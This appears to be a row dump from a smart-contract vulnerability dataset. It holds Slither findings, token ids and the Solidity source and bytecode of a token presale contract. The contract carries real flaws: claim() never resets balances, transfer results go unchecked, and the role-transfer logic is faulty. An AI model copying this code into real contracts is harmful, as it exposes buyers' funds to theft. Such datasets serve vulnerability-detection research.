'High'}, {'check': 'reentrancy-no-eth', 'impact': 'Medium', 'confidence': 'Medium'}]} | [
101,
1014,
2595,
2683,
25746,
2692,
2094,
22932,
2509,
2050,
2692,
2549,
2278,
16703,
25746,
2063,
2629,
4246,
4783,
11329,
2094,
2509,
2063,
2683,
2581,
2575,
4402,
2497,
2575,
2278,
19961,
2692,
2683,
2546,
10975,
8490,
2863,
5024,
3012,
1034,
1014,
1012,
1022,
1012,
1014,
1025,
1013,
1013,
23772,
2595,
1011,
6105,
1011,
8909,
4765,
18095,
1024,
10210,
1013,
1008,
1008,
1008,
1030,
16475,
8278,
1997,
1996,
9413,
2278,
11387,
3115,
2004,
4225,
1999,
1996,
1041,
11514,
1012,
1008,
1013,
8278,
29464,
11890,
11387,
1063,
1013,
1008,
1008,
1008,
1030,
16475,
5651,
1996,
3815,
1997,
19204,
2015,
1999,
4598,
1012,
1008,
1013,
3853,
21948,
6279,
22086,
1006,
1007,
6327,
3193,
5651,
1006,
21318,
3372,
17788,
2575,
1007,
1025,
1013,
1008,
1008,
1008,
1030,
16475,
5651,
1996,
3815,
102
] | [
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1
] |
58,422 | 0x9521b59d0531e42f746a7a2d7e096029c891acd8 | /* Keep4r – kp4r.network - 2020 */
pragma solidity 0.6.6;
interface IERC20 {
function totalSupply() external view returns (uint);
function balanceOf(address account) external view returns (uint);
function transfer(address recipient, uint amount) external returns (bool);
function allowance(address owner, address spender) external view returns (uint);
function approve(address spender, uint amount) external returns (bool);
function transferFrom(address sender, address recipient, uint amount) external returns (bool);
event Transfer(address indexed from, address indexed to, uint value);
event Approval(address indexed owner, address indexed spender, uint value);
}
library SafeMath {
function add(uint a, uint b) internal pure returns (uint) {
uint c = a + b;
require(c >= a, "SafeMath: addition overflow");
return c;
}
function sub(uint a, uint b) internal pure returns (uint) {
return sub(a, b, "SafeMath: subtraction overflow");
}
function sub(uint a, uint b, string memory errorMessage) internal pure returns (uint) {
require(b <= a, errorMessage);
uint c = a - b;
return c;
}
function mul(uint a, uint b) internal pure returns (uint) {
if (a == 0) {
return 0;
}
uint c = a * b;
require(c / a == b, "SafeMath: multiplication overflow");
return c;
}
function div(uint a, uint b) internal pure returns (uint) {
return div(a, b, "SafeMath: division by zero");
}
function div(uint a, uint b, string memory errorMessage) internal pure returns (uint) {
// Solidity only automatically asserts when dividing by 0
require(b > 0, errorMessage);
uint c = a / b;
return c;
}
}
contract Keep4rPresale {
using SafeMath for uint256;
// cannot purchase until started
bool public started;
IERC20 KP4R;
address kp4rAddress;
address public manager;
address public managerPending;
uint256 constant managerS = 80;
uint256 public managerWithdrawn;
address public overseer;
address public overseerPending;
uint256 constant overseerS = 20;
uint256 public overseerWithdrawn;
uint256 public unitPrice = 1e18/2;
uint256 public minimumOrder = 100000;
/** @notice the date when purchased KP4R can be claimed */
uint256 public unlocksOn;
/** @notice the date when KP4R can no longer be purchased from the contract */
uint256 public endsOn;
/** @notice percentage bonus actived upon purchasing more than the trigger
* value. */
uint256 public bonusTrigger;
uint256 public bonusPercentage;
// Stats:
uint256 public totalForSale;
uint256 public totalSold;
uint256 public totalSettled;
uint256 public weiRaised;
mapping(address => uint256) public balance;
event Purchase (address indexed buyer, uint256 amount, uint256 price);
constructor(address _kp4r) public {
manager = msg.sender;
overseer = msg.sender;
KP4R = IERC20(_kp4r);
kp4rAddress = _kp4r;
}
modifier onlyManager {
require( msg.sender == manager, "Only the manager can call this function." );
_;
}
modifier onlyOverseer {
require( msg.sender == overseer, "Only the overseer can call this function.");
_;
}
function transferRole(address _new) public {
require(msg.sender == manager || msg.sender == overseer, "!manager or overseer");
if (msg.sender == manager) { managerPending = _new; return; }
if (msg.sender == overseer) { overseerPending = _new; return; }
}
function acceptRole() public {
require(msg.sender == managerPending || msg.sender == overseerPending, "!managerPending or overseerPending");
if (msg.sender == managerPending) { manager = managerPending; managerPending = address(0); return; }
if (msg.sender == overseerPending) { overseer = overseerPending; managerPending = address(0); return; }
}
function managerSetPrice(uint256 _price) public onlyManager {
unitPrice = _price;
}
function managerSetMinimum(uint256 _minimum) public onlyManager {
minimumOrder = _minimum;
}
function managerSetBonus(uint256 _trigger, uint256 _percentage) public onlyManager {
bonusTrigger = _trigger;
bonusPercentage = _percentage;
}
function managerDeposit(uint256 _amount) public onlyManager {
KP4R.transferFrom(msg.sender, address(this), _amount);
totalForSale = totalForSale.add(_amount);
}
/** @notice manager can reclaim unsold tokens */
function managerReclaim(uint256 _amount) public onlyManager {
// calculate the amount of tokens that haven not been sold
// and settled and are thus reclaimable:
uint256 unreclaimable = totalSold.sub(totalSettled);
uint256 reclaimable = KP4R.balanceOf(address(this)).sub(unreclaimable);
require(_amount <= reclaimable, "cannot withdraw already sold tokens");
// transfer the tokens to the manager
KP4R.transfer(msg.sender, _amount);
totalForSale = totalForSale.sub(_amount);
}
function managerWithdraw(uint256 _amount) public onlyManager {
require(managerWithdrawn.add(_amount) <= weiRaised.mul(managerS).div(100), "cannot withdraw more than the managers share");
managerWithdrawn = managerWithdrawn.add(_amount);
msg.sender.transfer(_amount);
}
function overseerWithdraw(uint _amount) public onlyOverseer {
require(overseerWithdrawn.add(_amount) <= weiRaised.mul(overseerS).div(100), "cannot withdraw more than overseerS");
overseerWithdrawn = overseerWithdrawn.add(_amount);
msg.sender.transfer(_amount);
}
function managerClose(uint256 amount) public onlyManager {
require(block.timestamp > endsOn.add(31536000).mul(2), "must wait until 6 months past end date");
msg.sender.transfer(amount);
}
function managerForceUnlock() public onlyManager {
unlocksOn = block.timestamp-1;
}
function start(uint256 _unlocksOn, uint256 _endsOn, uint256 _price, uint256 _minimumOrder) public onlyManager {
require(!started, "already started");
unlocksOn = _unlocksOn;
endsOn = _endsOn;
unitPrice = _price;
minimumOrder = _minimumOrder;
started = true;
}
/** @notice The amount of KP4R remaining */
function remaining() public view returns (uint256) {
return KP4R.balanceOf(address(this));
}
/** @notice purchase KP4R at the current unit price */
function purchase() public payable {
require(started, "token sale has not yet started");
require(msg.value > minimumOrder, "amount purchased is too small");
require(block.timestamp < endsOn, "presale has ended");
// calculate the amount of KP4R purchasable
uint256 _kp4r = calculateAmountPurchased(msg.value);
require(_kp4r <= KP4R.balanceOf(address(this)), "not enough KP4R left");
// update the users balance
balance[msg.sender] = balance[msg.sender].add(_kp4r);
totalSold = totalSold.add(_kp4r);
weiRaised = weiRaised.add(msg.value);
emit Purchase(msg.sender, _kp4r, msg.value);
}
/** @notice calculates the amount purchasedfor a given amount of eth */
function calculateAmountPurchased(uint256 _value) public view returns (uint256) {
uint256 _kp4r = _value.div(unitPrice).mul(1e18);
if (_value > bonusTrigger) {
uint256 _bonus = _kp4r.mul(bonusPercentage).div(1000);
if (_kp4r.add(_bonus) <= KP4R.balanceOf(address(this))) {
_kp4r = _kp4r.add(_bonus);
}
}
return _kp4r;
}
/** @notice claim you eth */
function claim() public {
require(block.timestamp > unlocksOn, "presale has not unlocked yet");
require(balance[msg.sender] > 0, "nothing to withdraw");
KP4R.transfer(msg.sender, balance[msg.sender]);
totalSettled = totalSettled.add(balance[msg.sender]);
}
// fallbacks to allow users to send to the contract to purchase KP4R
receive() external payable { purchase(); }
fallback() external payable { purchase(); }
} | 0x6080604052600436106101fd5760003560e01c8063813d6c9a1161010d578063cd4911aa116100a0578063e73faa2d1161006f578063e73faa2d14610842578063e9c7097e1461086d578063ea54ce55146108c4578063eace4c91146108ef578063ed466d7f1461091a5761020c565b8063cd4911aa1461072c578063e0e2c1e614610767578063e3d670d7146107a2578063e680ed8e146108075761020c565b8063a0167bb8116100dc578063a0167bb814610674578063ac29f1131461069f578063afb4b05d146106b6578063ca22eb3d146106f15761020c565b8063813d6c9a146105b85780638eaefd3a146105e35780639106d7ba1461060e57806396a3e0b6146106395761020c565b8063481c6a75116101905780635401b3d21161015f5780635401b3d2146104e857806355234ec01461051357806364edfbf01461053e578063707a4e961461054857806380e5c5e2146105a15761020c565b8063481c6a75146103d25780634ba25656146104295780634cce63bd146104805780634e71d92d146104d15761020c565b80631f2698ab116101cc5780631f2698ab146102d25780633764228d146103015780633967ce0b146103585780634042b66f146103a75761020c565b806301d4576b146102165780630618872914610241578063073ac10d1461027c5780631982d067146102a75761020c565b3661020c5761020a61095f565b005b61021461095f565b005b34801561022257600080fd5b5061022b610d4e565b6040518082815260200191505060405180910390f35b34801561024d57600080fd5b5061027a6004803603602081101561026457600080fd5b8101908080359060200190929190505050610d54565b005b34801561028857600080fd5b50610291610f31565b6040518082815260200191505060405180910390f35b3480156102b357600080fd5b506102bc610f37565b6040518082815260200191505060405180910390f35b3480156102de57600080fd5b506102e7610f3d565b604051808215151515815260200191505060405180910390f35b34801561030d57600080fd5b50610316610f4f565b604051808273ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200191505060405180910390f35b34801561036457600080fd5b506103916004803603602081101561037b57600080fd5b8101908080359060200190929190505050610f75565b6040518082815260200191505060405180910390f35b3480156103b357600080fd5b506103bc6110f3565b6040518082815260200191505060405180910390f35b3480156103de57600080fd5b506103e76110f9565b604051808273ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200191505060405180910390f35b34801561043557600080fd5b5061043e61111f565b604051808273ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200191505060405180910390f35b34801561048c57600080fd5b506104cf600480360360208110156104a357600080fd5b81019080803573ffffffffffffffffffffffffffffffffffffffff169060200190929190505050611145565b005b3480156104dd57600080fd5b506104e661139c565b005b3480156104f457600080fd5b506104fd611648565b6040518082815260200191505060405180910390f35b34801561051f57600080fd5b5061052861164e565b6040518082815260200191505060405180910390f35b61054661095f565b005b34801561055457600080fd5b5061059f6004803603608081101561056b57600080fd5b810190808035906020019092919080359060200190929190803590602001909291908035906020019092919050505061172e565b005b3480156105ad57600080fd5b506105b6611892565b005b3480156105c457600080fd5b506105cd611b93565b6040518082815260200191505060405180910390f35b3480156105ef57600080fd5b506105f8611b99565b6040518082815260200191505060405180910390f35b34801561061a57600080fd5b50610623611b9f565b6040518082815260200191505060405180910390f35b34801561064557600080fd5b506106726004803603602081101561065c57600080fd5b8101908080359060200190929190505050611ba5565b005b34801561068057600080fd5b50610689611d45565b6040518082815260200191505060405180910390f35b3480156106ab57600080fd5b506106b4611d4b565b005b3480156106c257600080fd5b506106ef600480360360208110156106d957600080fd5b8101908080359060200190929190505050611dfd565b005b3480156106fd57600080fd5b5061072a6004803603602081101561071457600080fd5b810190808035906020019092919050505061210c565b005b34801561073857600080fd5b506107656004803603602081101561074f57600080fd5b81019080803590602001909291905050506122ac565b005b34801561077357600080fd5b506107a06004803603602081101561078a57600080fd5b810190808035906020019092919050505061235c565b005b3480156107ae57600080fd5b506107f1600480360360208110156107c557600080fd5b81019080803573ffffffffffffffffffffffffffffffffffffffff16906020019092919050505061240c565b6040518082815260200191505060405180910390f35b34801561081357600080fd5b506108406004803603602081101561082a57600080fd5b8101908080359060200190929190505050612424565b005b34801561084e57600080fd5b50610857612597565b6040518082815260200191505060405180910390f35b34801561087957600080fd5b5061088261259d565b604051808273ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200191505060405180910390f35b3480156108d057600080fd5b506108d96125c3565b6040518082815260200191505060405180910390f35b3480156108fb57600080fd5b506109046125c9565b6040518082815260200191505060405180910390f35b34801561092657600080fd5b5061095d6004803603604081101561093d57600080fd5b8101908080359060200190929190803590602001909291905050506125cf565b005b6000809054906101000a900460ff166109e0576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040180806020018281038252601e8152602001807f746f6b656e2073616c6520686173206e6f74207965742073746172746564000081525060200191505060405180910390fd5b6009543411610a57576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040180806020018281038252601d8152602001807f616d6f756e742070757263686173656420697320746f6f20736d616c6c00000081525060200191505060405180910390fd5b600b544210610ace576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004018080602001828103825260118152602001807f70726573616c652068617320656e64656400000000000000000000000000000081525060200191505060405180910390fd5b6000610ad934610f75565b9050600060019054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff166370a08231306040518263ffffffff1660e01b8152600401808273ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200191505060206040518083038186803b158015610b7a57600080fd5b505afa158015610b8e573d6000803e3d6000fd5b505050506040513d6020811015610ba457600080fd5b8101908080519060200190929190505050811115610c2a576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004018080602001828103825260148152602001807f6e6f7420656e6f756768204b503452206c65667400000000000000000000000081525060200191505060405180910390fd5b610c7c81601260003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000205461268790919063ffffffff16565b601260003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002081905550610cd481600f5461268790919063ffffffff16565b600f81905550610cef3460115461268790919063ffffffff16565b6011819055503373ffffffffffffffffffffffffffffffffffffffff167f12cb4648cf3058b17ceeb33e579f8b0bc269fe0843f3900b8e24b6c54871703c8234604051808381526020018281526020019250505060405180910390a250565b60095481565b600260009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff1614610dfa576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004018080602001828103825260288152602001806129b06028913960400191505060405180910390fd5b600060019054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff166323b872dd3330846040518463ffffffff1660e01b8152600401808473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020018373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020018281526020019350505050602060405180830381600087803b158015610ed757600080fd5b505af1158015610eeb573d6000803e3d6000fd5b505050506040513d6020811015610f0157600080fd5b810190808051906020019092919050505050610f2881600e5461268790919063ffffffff16565b600e8190555050565b60075481565b600c5481565b6000809054906101000a900460ff1681565b600360009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1681565b600080610fa7670de0b6b3a7640000610f996008548661270f90919063ffffffff16565b61275990919063ffffffff16565b9050600c548311156110ea576000610fde6103e8610fd0600d548561275990919063ffffffff16565b61270f90919063ffffffff16565b9050600060019054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff166370a08231306040518263ffffffff1660e01b8152600401808273ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200191505060206040518083038186803b15801561107f57600080fd5b505afa158015611093573d6000803e3d6000fd5b505050506040513d60208110156110a957600080fd5b81019080805190602001909291905050506110cd828461268790919063ffffffff16565b116110e8576110e5818361268790919063ffffffff16565b91505b505b80915050919050565b60115481565b600260009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1681565b600560009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1681565b600260009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff1614806111ee5750600560009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff16145b611260576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004018080602001828103825260148152602001807f216d616e61676572206f72206f7665727365657200000000000000000000000081525060200191505060405180910390fd5b600260009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff1614156112fc5780600360006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff160217905550611399565b600560009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff1614156113985780600660006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff160217905550611399565b5b50565b600a544211611413576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040180806020018281038252601c8152602001807f70726573616c6520686173206e6f7420756e6c6f636b6564207965740000000081525060200191505060405180910390fd5b6000601260003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054116114c8576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004018080602001828103825260138152602001807f6e6f7468696e6720746f2077697468647261770000000000000000000000000081525060200191505060405180910390fd5b600060019054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1663a9059cbb33601260003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020546040518363ffffffff1660e01b8152600401808373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200182815260200192505050602060405180830381600087803b1580156115b057600080fd5b505af11580156115c4573d6000803e3d6000fd5b505050506040513d60208110156115da57600080fd5b810190808051906020019092919050505050611640601260003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000205460105461268790919063ffffffff16565b601081905550565b600b5481565b60008060019054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff166370a08231306040518263ffffffff1660e01b8152600401808273ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200191505060206040518083038186803b1580156116ee57600080fd5b505afa158015611702573d6000803e3d6000fd5b505050506040513d602081101561171857600080fd5b8101908080519060200190929190505050905090565b600260009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff16146117d4576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004018080602001828103825260288152602001806129b06028913960400191505060405180910390fd5b6000809054906101000a900460ff1615611856576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040180806020018281038252600f8152602001807f616c72656164792073746172746564000000000000000000000000000000000081525060200191505060405180910390fd5b83600a8190555082600b81905550816008819055508060098190555060016000806101000a81548160ff02191690831515021790555050505050565b600360009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff16148061193b5750600660009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff16145b611990576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401808060200182810382526022815260200180612a1f6022913960400191505060405180910390fd5b600360009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff161415611a9057600360009054906101000a900473ffffffffffffffffffffffffffffffffffffffff16600260006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff1602179055506000600360006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff160217905550611b91565b600660009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff161415611b9057600660009054906101000a900473ffffffffffffffffffffffffffffffffffffffff16600560006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff1602179055506000600360006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff160217905550611b91565b5b565b600d5481565b600e5481565b600f5481565b600260009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff1614611c4b576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004018080602001828103825260288152602001806129b06028913960400191505060405180910390fd5b611c746064611c66605060115461275990919063ffffffff16565b61270f90919063ffffffff16565b611c898260045461268790919063ffffffff16565b1115611ce0576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040180806020018281038252602c815260200180612ab0602c913960400191505060405180910390fd5b611cf58160045461268790919063ffffffff16565b6004819055503373ffffffffffffffffffffffffffffffffffffffff166108fc829081150290604051600060405180830381858888f19350505050158015611d41573d6000803e3d6000fd5b5050565b600a5481565b600260009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff1614611df1576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004018080602001828103825260288152602001806129b06028913960400191505060405180910390fd5b60014203600a81905550565b600260009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff1614611ea3576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004018080602001828103825260288152602001806129b06028913960400191505060405180910390fd5b6000611ebc601054600f546127df90919063ffffffff16565b90506000611fac82600060019054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff166370a08231306040518263ffffffff1660e01b8152600401808273ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200191505060206040518083038186803b158015611f6357600080fd5b505afa158015611f77573d6000803e3d6000fd5b505050506040513d6020811015611f8d57600080fd5b81019080805190602001909291905050506127df90919063ffffffff16565b905080831115612007576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401808060200182810382526023815260200180612a646023913960400191505060405180910390fd5b600060019054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1663a9059cbb33856040518363ffffffff1660e01b8152600401808373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200182815260200192505050602060405180830381600087803b1580156120b057600080fd5b505af11580156120c4573d6000803e3d6000fd5b505050506040513d60208110156120da57600080fd5b81019080805190602001909291905050505061210183600e546127df90919063ffffffff16565b600e81905550505050565b600560009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff16146121b2576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401808060200182810382526029815260200180612a876029913960400191505060405180910390fd5b6121db60646121cd601460115461275990919063ffffffff16565b61270f90919063ffffffff16565b6121f08260075461268790919063ffffffff16565b1115612247576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401808060200182810382526023815260200180612a416023913960400191505060405180910390fd5b61225c8160075461268790919063ffffffff16565b6007819055503373ffffffffffffffffffffffffffffffffffffffff166108fc829081150290604051600060405180830381858888f193505050501580156122a8573d6000803e3d6000fd5b5050565b600260009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff1614612352576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004018080602001828103825260288152602001806129b06028913960400191505060405180910390fd5b8060088190555050565b600260009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff1614612402576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004018080602001828103825260288152602001806129b06028913960400191505060405180910390fd5b8060098190555050565b60126020528060005260406000206000915090505481565b600260009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff16146124ca576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004018080602001828103825260288152602001806129b06028913960400191505060405180910390fd5b6124f660026124e86301e13380600b5461268790919063ffffffff16565b61275990919063ffffffff16565b421161254d576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004018080602001828103825260268152602001806129d86026913960400191505060405180910390fd5b3373ffffffffffffffffffffffffffffffffffffffff166108fc829081150290604051600060405180830381858888f19350505050158015612593573d6000803e3d6000fd5b5050565b60085481565b600660009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1681565b60045481565b60105481565b600260009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff1614612675576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004018080602001828103825260288152602001806129b06028913960400191505060405180910390fd5b81600c8190555080600d819055505050565b600080828401905083811015612705576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040180806020018281038252601b8152602001807f536166654d6174683a206164646974696f6e206f766572666c6f77000000000081525060200191505060405180910390fd5b8091505092915050565b600061275183836040518060400160405280601a81526020017f536166654d6174683a206469766973696f6e206279207a65726f000000000000815250612829565b905092915050565b60008083141561276c57600090506127d9565b600082840290508284828161277d57fe5b04146127d4576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004018080602001828103825260218152602001806129fe6021913960400191505060405180910390fd5b809150505b92915050565b600061282183836040518060400160405280601e81526020017f536166654d6174683a207375627472616374696f6e206f766572666c6f7700008152506128ef565b905092915050565b600080831182906128d5576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004018080602001828103825283818151815260200191508051906020019080838360005b8381101561289a57808201518184015260208101905061287f565b50505050905090810190601f1680156128c75780820380516001836020036101000a031916815260200191505b509250505060405180910390fd5b5060008385816128e157fe5b049050809150509392505050565b600083831115829061299c576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004018080602001828103825283818151815260200191508051906020019080838360005b83811015612961578082015181840152602081019050612946565b50505050905090810190601f16801561298e5780820380516001836020036101000a031916815260200191505b509250505060405180910390fd5b506000838503905080915050939250505056fe4f6e6c7920746865206d616e616765722063616e2063616c6c20746869732066756e6374696f6e2e6d757374207761697420756e74696c2036206d6f6e746873207061737420656e642064617465536166654d6174683a206d756c7469706c69636174696f6e206f766572666c6f77216d616e6167657250656e64696e67206f72206f7665727365657250656e64696e6763616e6e6f74207769746864726177206d6f7265207468616e206f766572736565725363616e6e6f7420776974686472617720616c726561647920736f6c6420746f6b656e734f6e6c7920746865206f766572736565722063616e2063616c6c20746869732066756e6374696f6e2e63616e6e6f74207769746864726177206d6f7265207468616e20746865206d616e6167657273207368617265a2646970667358221220e52871aaa81bf49dbeab3b6217b34e69c3716ec5faf8604ae0c61ce4f2dcd43d64736f6c63430006060033 | {"success": true, "error": null, "results": {"detectors": [{"check": "unchecked-transfer", "impact": "High", "confidence": "Medium"}, {"check": "divide-before-multiply", "impact": "Medium", "confidence": "Medium"}]}} | true | null | {'detectors': [{'check': 'unchecked-transfer', 'impact': 'High', 'confidence': 'Medium'}, {'check': 'divide-before-multiply', 'impact': 'Medium', 'confidence': 'Medium'}]} | [
101,
1014,
2595,
2683,
25746,
2487,
2497,
28154,
2094,
2692,
22275,
2487,
2063,
20958,
2546,
2581,
21472,
2050,
2581,
2050,
2475,
2094,
2581,
2063,
2692,
2683,
16086,
24594,
2278,
2620,
2683,
2487,
6305,
2094,
2620,
1013,
1008,
2562,
2549,
2099,
1516,
1047,
2361,
2549,
2099,
1012,
2897,
1011,
12609,
1008,
1013,
10975,
8490,
2863,
5024,
3012,
1014,
1012,
1020,
1012,
1020,
1025,
8278,
29464,
11890,
11387,
1063,
3853,
21948,
6279,
22086,
1006,
1007,
6327,
3193,
5651,
1006,
21318,
3372,
1007,
1025,
3853,
5703,
11253,
1006,
4769,
4070,
1007,
6327,
3193,
5651,
1006,
21318,
3372,
1007,
1025,
3853,
4651,
1006,
4769,
7799,
1010,
21318,
3372,
3815,
1007,
6327,
5651,
1006,
22017,
2140,
1007,
1025,
3853,
21447,
1006,
4769,
3954,
1010,
4769,
5247,
2121,
1007,
6327,
3193,
5651,
1006,
102
] | [
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1
] |
58,423 | 0x9521c632fca479d8800aa42910d1a45efd76943a | /*
Twitter : https://twitter.com/Charlotte_Inu
Telegram : https://t.me/charlotteinu
Join the telegram for more info on tokenomics!
Stealth launched just now.
*/
pragma solidity ^0.6.12;
interface IERC20 {
function totalSupply() external view returns (uint256);
